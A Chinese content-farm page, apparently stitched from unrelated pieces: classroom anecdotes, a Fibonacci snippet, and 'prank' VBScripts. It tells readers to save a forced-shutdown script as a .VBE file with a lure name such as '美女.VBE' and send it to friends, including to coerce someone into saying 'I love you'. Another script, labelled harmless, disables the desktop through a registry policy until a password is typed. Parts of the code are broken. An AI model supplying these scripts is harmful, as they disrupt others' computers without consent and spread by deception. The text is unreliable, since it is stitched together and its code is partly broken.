一串代码让全班同学说卧槽电脑(一串代码让全班人安静)
复制一串代码让全班安静代码怎么复制?
可以说以下的话语复制代码:
1、上课的时候进行随堂测验。马上就要上课了,班级非常吵闹,班委怎么喊都没用。这个时候班主任进来了,若无其事的说了一句:“等下上课的时候进行随堂测验,谁要是不及格的,就等着问话吧。”听到这里的时候,所有的同学立马放下手中的事情,然后紧张地查阅书本,开始了慌慌张张的复习。谁也不知道这样看书有没有效果,但大家心里知道,要是不临门抱佛脚,那肯定会很惨的,大家都不想那班级最后一名,所以这句话确实可以让教室安静下来。
2、老师在监控看着学生。自习课的时候,老师让大家各自复习功课,同学们在老师面前表现得非常乖巧,等老师离开了之后,马上就按奈不住内心了。其实老师也不是真正的离开学校,而是去监控室了,教室里一般会装有监控器,老师可以通过监控观察学生的学习状态。班级里的同学十分吵闹,懂事的同学就会说,老师在监控看着学生,大家不要表现得这么差,学生听到以后,就会收敛自己。
一串代码让全班同学说卧槽?
有一串代码非常简单且卧槽。
下面是一串 Python 代码,用于计算斐波那契数列中的第n项:
def fibonacci(n):
if n == 0:
return 0
elif n == 1:
return 1
else:
return fibonacci(n-1) + fibonacci(n-2)
print(fibonacci(10))
这段代码会输出斐波那契数列第 10 项的值。可以更改n的值来计算不同项的值。懂的自然懂。
手机QQ的整人代码大全
第一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个QQ炸弹,在30秒后会自动关机。
下面说一下使用方法:
最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求一段电脑整蛊代码
set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" "
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop